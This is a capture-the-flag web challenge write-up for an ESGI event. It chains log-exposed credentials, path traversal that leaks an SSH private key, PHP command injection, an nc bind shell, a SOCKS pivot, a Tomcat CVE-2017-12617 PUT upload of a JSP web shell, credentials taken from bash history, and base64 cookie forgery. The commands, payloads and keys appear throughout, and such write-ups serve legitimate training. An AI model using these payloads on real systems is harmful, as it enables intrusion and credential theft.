ESGISECURITYDAY - My Name is Rookie

description: M0th3r > Quelque chose me perturbe. Comment un Androïde a pu passer le test des pirates cybernétique. Duke le premier de son genre n’a été crée par personne du gouvernement. Aujourd’hui disparu je veux retrouver son core. Si tu veux m’aider, tu dois passer le test des pirate Cybernétique. C’est le test que Duke-083 a passé haut la main. Récupère tout ce que tu sais sur Zedcorp.

category: Web

Two endpoints were given for this challenge http = ctf.hacklab-esgi.org:5008 and ssh = ctf.hacklab-esgi.org:5007. On the web interface we find a robots.txt with the following entries:

Disallow: /assets
Disallow: /js
Disallow: /api
Disallow: /logs
Disallow: /images

Web Access

From there we can access the http://ctf.hacklab-esgi.org:5008/logs/ folder.

my name is logs

In these logs we find some credentials for the website/

username=admin&password=pxrAW7a4HNMBw86bc
--d2628b12-F--
HTTP/1.1 302 Found

These credentials worked on the login page.

my name is login

After beeing logged as admin we can query access.log and error.log with a parameter log

my name is access

Fiddling with it we can access some files, but they are truncated … The content of ../../../../../../../proc/self/environ gives us the current working directory

APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=8:11700
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=82b54f38b32a4bbb8c9fd813d21543f6
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html/0cc175b9c0f1b6a831c399e269772661

From there we can grab the content of the admin page with ../../../../../../../var/www/html/0cc175b9c0f1b6a831c399e269772661/admin.php. The website appears to filter some characters but we can use -n 10000 to force a longer output, turning this arbitratry read into command execution.

# Contents of ../../../../../../../var/www/html/0cc175b9c0f1b6a831c399e269772661/admin.php -n 10000        <?php
...                                              
$cmd = "tail -n 10 /var/log/apache2/" . $_POST['log'];                 
echo "<pre><code>";                                                    
system($cmd . " &");                                                   
echo "</code></pre>";  
...
?>

Shell Access

Let’s stick to the file read for the moment, we can read the /etc/passwd.

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
test:x:1001:1001:,,,:/home/test:/usr/sbin/nologin
trobin:x:1004:1004:Thibaud Robin,8,0145674356,0145674356,Trainee full stack developer:/home/trobin:/bin/bash

So there are two users trobin and test, what have they done recently ? Grabbing the .bash_history will tell us.

cd .ssh/
chmod +r id_rsa
cd ..
chmod +r .ssh/

Nice, now we know there is a RSA key inside the .ssh/id_rsa, I lost some time looking for it inside the home of trobin. We can find it located at ../../../home/test/.ssh/id_rsa.

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1f3hWbx2726sOiwm+gg8Td2261E7QSJhQHcQFEns7Ubonx6E
+YU4BgzQt136gK42RwoGOph8H/Tu0zfjGIx9IQOIDG8VmCItfUDFCexoqoZB2cj2
9sLKgA/VZqRJiSka1+uibcyIgFnyDegbSXt42J6XL6xZaT56aq539s8M/aFSWNEf
8yTBG7k4E0ZWqexBhXDK3rNJ1veH3EcJXBjYgitDLXSS/VPE7op6MlD5q7ZdNt28
45idJ5tT+U8xrht71oGiIswxi1dXz0VvjXOIJIk1iQIyRdiGIvPpHIY+Dxw2FTHo
pi7Z3M5hjoq36LQryHjVbUVaUrvkyeQtZXeDIQIDAQABAoIBAHloJrhAwsGo6rG+
ZwaoMX6D8cmkNpgHp2Fpq4e3QWKFPmk4aX0fZd+Y2bmO6hajwEuhllMcPB/tWKoh
JQjCfCOE22UiiP/dNC3B14h/xgopTab/642oijcJxKsNPmNBHOev2mGtDyyy2y+k
pgaUtMVBhMkZYUjil5V7ErjGU7p5CCqeZUditEMKq9eAAq8oNGq84L0ZKqx4dyPN
Ai36I8Nygk1SpYBod+K7lUYDDfd+ZPR/yEVhfHP9JqLdezfpeJW7SQvgc4Fb0rEY
+tvM0IfyIR/9tB7IrfNuXG6S+UjoP5eybasUMDn0sqSGYLfaq1pFZYolneDkrpeV
9mPBoAECgYEA+LJUBHTrdKWqxtwkugg05Iu5nEMTGhUmZ4b6x2MRGeadqPF6u9+R
0eubqX+oNWAKBgtHQSzE8faLnOJ6lc2oEN6jeukCDStYg//aIaEyZf2r/uBs0+zA
QNO8CQ5dXK5sowaFPgqXZ0mIFUmtDOgSm6M3IRc4BK6nYlxClVzTs4ECgYEA3Eal
GLMBNykaR0jCD1CartiTZay6ld1rCZVJWjONDgJGtzi0tW1j7Mr5jk0dwfp7cJVu
/Dx+sc4Om/nJ3h15pvvcrKnv0kPhqXX4h+dFmz2psTKmjYjpsff0eLRJS9JHVNEb
svu/zHqzzrRsm1un3Ikcvy0lnG31sg6kJ8EXH6ECgYEApe/Wv2KD+EDRwf4BQ19W
a2gPYIQgqraR+WHG0mL3diC58Y+uJMz3rulV47KZuYNrLL05vfLxNcEbRoKW6H1g
NmFXExuFkuPpG6oLEYVM62Bm8pksA/tkC907CY/cG4sGUYB4Rv0qKHCXrByMqp/u
SoqMrjef2P/wD2EfzCkz2AECgYBIr98m6VrLUvri7vVqjFSewcTR1k+zyF7byLFt
3Hj9WG7xYvruq2w/5TK4bGYXbopxOj5naab9EVvsyF5+twc/vPiy2VjT76Z1fwJG
BmEHuy9V07r2FWnYWlQHyKYvKPJ04JPdWgmOdicDXLJCCdq4gV5FD6bLmdVrrj0p
CSSSQQKBgQCI3TUMYeR/4+86B6i2sldPVtn52QrOHeaDwRfZ1Z7TRYPY6gIvKBLd
VVU6YcP0KwZUHeUOC7qNxSCTnB7FkANad+D/7a0MGqAGCmWChS5GD6zpqhW+tKkY
zc9Ur+20TJHIwAKloaZLiMdcpdyFUQQRStXCGD6wqbw8UxGfx1Fd0g==
-----END RSA PRIVATE KEY-----

Real Shell

Unfortunately we are limited via SSH because of the /usr/sbin/nologin. At least we can initiate a SOCK proxy with ssh test@ctf.hacklab-esgi.org -p 5007 -i privkey -ND 9050 (Don’t forget to put the good permissions on the private key : chmod 600 privkey).

One logged we can start a bind shell with the following command.

log=../../../home/test/.ssh/id_rsa $`nc -lvp  4242 -e /bin/sh 2> /tmp/a`

And we can connect to the shell using proxychains to go through our SOCKS proxy.

proxychains nc 127.0.0.1 4242
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:9050-<><>-127.0.0.1:4242-<><>-OK
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now we are not restricted for our commands, let’s inspect the network, the process and dig deeper inside the challenge.

root      2113  0.0  0.0  46604    92 pts/3    S+   Apr05   0:00 ssh root@project-server
root      2390  0.0  0.0  95204   444 ?        Ss   Apr05   0:04 sshd: root@pts/4
root      2408  0.0  0.0  21088     4 pts/4    Ss   Apr05   0:00 -bash
root      2414  0.0  0.1  47064  1452 pts/4    S+   Apr05   0:04 ssh root@admin-server
...
10.0.0.1        dev-server      dev-server.zedcorp     // Entry SSH
10.0.0.2        project-server  project-server.zedcorp 
10.0.0.3         admin-server    admin-server.zedcorp

So there are 3 machines : dev-server(the powned one), project-server and admin-server. Running an nmap gave us some interesting ports.

10.0.0.2
22/tcp   open  ssh
8009/tcp open  ajp13
8080/tcp open  http-proxy

10.0.0.3        admin-server    admin-server.zedcorp
21/tcp open  ftp notanonymous
22/tcp open  ssh
80/tcp open  http  basicauth

We target the port 8080 of 10.0.0.2, which was running a Apache Tomcat/7.0.81, based on that we checked CVEs and exploited CVE-2017-12617

CVE-2017-12617

Basically, CVE-2017-12617 is a Tomcat RCE via JSP Upload Bypass. The follow curl will create a page test.jsp with the content <% out.println(1 + 2); %>.

curl -v -X PUT http://project-server:8080/test.jsp/ --data "<% out.println(1 + 2); %>"

Again I lost some time because the exploit or the server is quite unstable there, if you have an error “500” just force refresh the page several times until you get an HTTP 200 result. The following Burp request will upload a CMD shell.

PUT /123456.jsp/ HTTP/1.1
Host: 10.0.0.2:8080
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 864
Content-Type: application/x-www-form-urlencoded
Connection: close

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

Here we are, with our first shell on project-server. Commands can be executed via http://10.0.0.2:8080/123456.jsp?cmd=id. It is time to dig into the box and look for sensitive data such as passwords.

1844458 drwxr-xr-x  2 csouplet  csouplet  4096 mars  20 10:46 csouplet
1844454 drwxr-xr-x  2 dcloutier dcloutier 4096 mars  20 10:42 dcloutier
1844450 drwxr-xr-x  2 fdaigle   fdaigle   4096 mars  18 15:00 fdaigle
1844462 drwxr-xr-x  2 trobin    trobin    4096 mars  20 10:52 trobin

Multiple users were created for this challenge but only one was interesting, once again we looked inside .bash_history and found the credential for the FTP of admin-server

Admin-Server

openssl
cat /etc/passwd
vi credentials.txt
cat credentials.txt 
cat -> TODO.txt
tar -czf - credentials.txt | openssl enc -e -aes256 -out credentials.tar.gz
tar -czf - credentials.txt | openssl enc -e -aes256 -out credentials.tar.gz --pass pass:daniel2019
ls -al
cat credentials.txt 
lftp -u 'backup,46t5r2e5t&2z!' admin-server
lftp -c 'open -u backup,46t5r2e5t&2z! admin-server; put -O / credentials.tar.gz' 
lftp -c 'open -u backup,46t5r2e5t&2z! admin-server; put -O / ~/credentials.tar.gz' 
ftp admin-server
...
rm credentials.tar.gz
rm credentials.txt 
...
cat  .local/share/lftp/cwd_history 

We can connect to the FTP admin with user=backup and pass=46t5r2e5t&2z!. Grabbing credentials.tar.gz, decrypting and extracting the archive iss trivial with the password pass:daniel2019`.

 Basic auth on http://admin-server:80
    + Username : admin
    + Password : zedc0rp2019!

- Simple test account on http://admin-server:80
    + Username : user
    + Password : user-zedcorp-2019

- Privileged test account on http://admin-server:80
    + Username : admin
    + Password : admin-zedcorp-2019

- CEO Privileged test account on http://admin-server:80
    + Username : ceo

These credentials are useful to access the web interface on admin-server. A quick test is proxychains curl http://admin:zedc0rp2019\!@10.0.0.3 > index.html

If we log into the service with ceo without a password we get denied with the message ERROR: CEO session is currently deactivated for maintenance. Trying the others users revealed a status cookie.

We can edit our cookie to be base64(ceo) and we get access to the following files.

Welcome Frederic
Hiring
    CV1
    CV2
Futurs projects (confidential)
    Rizone
    Trybu

The content of Rizone.pdf contains the flag : ESGI{W3_H0p3_t0_S33_y0u_N3xT_Y34R:)}